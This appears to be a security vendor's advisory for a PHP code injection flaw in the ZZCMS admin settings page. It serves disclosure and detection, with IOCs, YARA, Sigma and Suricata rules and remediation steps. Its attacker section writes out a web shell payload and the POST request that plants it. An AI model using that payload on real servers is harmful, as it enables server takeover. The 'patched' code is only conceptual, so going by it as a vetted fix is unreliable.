CVE-2025-14837
Executive Summary
CVE-2025-14837 is a code injection vulnerability in ZZCMS 2025, specifically within the backend website settings module. The flaw resides in the stripfxg function of the /admin/siteconfig.php file, where the icp argument is improperly sanitized, allowing an authenticated administrator to inject arbitrary PHP code. This can lead to remote code execution (RCE) on the server. The exploit has been publicly disclosed, and no official patch is currently available. The CVSS score is 4.7 (Medium), but the actual risk is higher due to the potential for full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.7 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – An attacker must have administrative access to the ZZCMS backend.
- User Interaction (UI): None (N) – No user action is needed beyond the attacker's actions.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited data modification possible.
- Availability (A): Low (L) – Limited service disruption possible.
Threat Level: Medium. While the CVSS score is medium, the actual threat is elevated because the exploit is public and can lead to full server compromise if an attacker gains admin credentials.
Deep Dive & Mechanics
The vulnerability is a classic code injection (CWE-94) in the stripfxg function within /admin/siteconfig.php. This function is used to sanitize or process the icp parameter, which likely stores ICP (Internet Content Provider) license information. The lack of proper input validation or output escaping allows an attacker to inject PHP code that is then executed by the server.
Attack Flow:
- An attacker obtains valid admin credentials (e.g., via phishing, brute force, or other means).
- The attacker logs into the ZZCMS backend.
- The attacker navigates to the website settings module (
/admin/siteconfig.php). - The attacker manipulates the
icpparameter to include malicious PHP code, such as<?php system($_GET['cmd']); ?>. - The injected code is stored and executed when the setting is rendered or processed.
- The attacker can then execute arbitrary commands on the server by accessing the injected code.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// /admin/siteconfig.php
function stripfxg($icp) {
// Insufficient sanitization
return $icp;
}
$icp = $_POST['icp'];
$icp = stripfxg($icp);
// Save to database or config file
file_put_contents('config.php', "<?php \$icp = '$icp'; ?>");
Patched Code (Conceptual):
// /admin/siteconfig.php
function stripfxg($icp) {
// Properly escape or strip dangerous characters
$icp = htmlspecialchars($icp, ENT_QUOTES, 'UTF-8');
$icp = addslashes($icp);
return $icp;
}
$icp = $_POST['icp'];
$icp = stripfxg($icp);
// Save to database or config file using prepared statements or proper escaping
file_put_contents('config.php', "<?php \$icp = '" . addslashes($icp) . "'; ?>");
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install ZZCMS 2025 on a local server (e.g., XAMPP, LAMP).
- Create an admin account.
- Log in to the backend.
Exploitation Steps:
- Intercept the request to
/admin/siteconfig.phpusing a proxy like Burp Suite. - Modify the
icpparameter to include a PHP web shell:icp=<?php system($_GET['cmd']); ?> - Send the request.
- Access the injected code by navigating to the configuration file or the page that renders the ICP value. For example:
http://target.com/config.php?cmd=id - Execute arbitrary commands.
Example Payload:
POST /admin/siteconfig.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
icp=<?php system($_GET['cmd']); ?>&other_params=...
Blue Team (Defender)
Detection Steps:
- Monitor for unusual POST requests to
/admin/siteconfig.phpwith suspiciousicpvalues. - Look for PHP code patterns in the
icpparameter (e.g.,<?php,system,exec,shell_exec). - Check for unexpected files in the web root (e.g.,
config.php,shell.php). - Review server logs for command execution attempts (e.g.,
id,whoami,ls).
Indicators of Compromise (IOCs)
- File Indicators:
- Suspicious files in the web root (e.g.,
config.php,shell.php,cmd.php). - Modified
config.phpor similar configuration files containing PHP code.
- Suspicious files in the web root (e.g.,
- Network Indicators:
- POST requests to
/admin/siteconfig.phpwithicpparameter containing PHP code. - Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
- POST requests to
- Log Indicators:
- Access logs showing requests to
/admin/siteconfig.phpwith unusual parameters. - Error logs showing PHP parse errors or execution of injected code.
- Access logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2025_14837_ZZCMS_CodeInjection {
meta:
description = "Detects PHP code injection in ZZCMS siteconfig.php icp parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14837"
strings:
$php_code = /<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/
$icp_param = "icp="
$siteconfig = "/admin/siteconfig.php"
condition:
$siteconfig and $icp_param and $php_code
}
Sigma Rule
title: CVE-2025-14837 - ZZCMS Backend Code Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit code injection in ZZCMS siteconfig.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/siteconfig.php'
cs-uri-query|contains: 'icp='
keywords:
- '<?php'
- 'system('
- 'exec('
- 'shell_exec('
- 'passthru('
- 'eval('
- 'assert('
condition: selection and keywords
falsepositives:
- Legitimate use of PHP code in ICP field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14837 - ZZCMS Backend Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/siteconfig.php"; http_uri; content:"icp="; http_client_body; pcre:"/<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit access to the ZZCMS backend to trusted IPs only.
- Input Validation: Implement strict input validation for the
icpparameter. Use a whitelist of allowed characters (e.g., alphanumeric and limited punctuation). - Output Escaping: Ensure that any user input is properly escaped before being stored or rendered.
- Disable PHP Execution: If possible, disable PHP execution in directories where configuration files are stored.
Long-Term Fix:
- Apply a vendor patch once available.
- Upgrade to a patched version of ZZCMS.
- Consider migrating to a more secure CMS.
Workaround:
- Manually edit the
stripfxgfunction to sanitize input usinghtmlspecialchars()andaddslashes().
Valters IT
Securing Digital Frontiers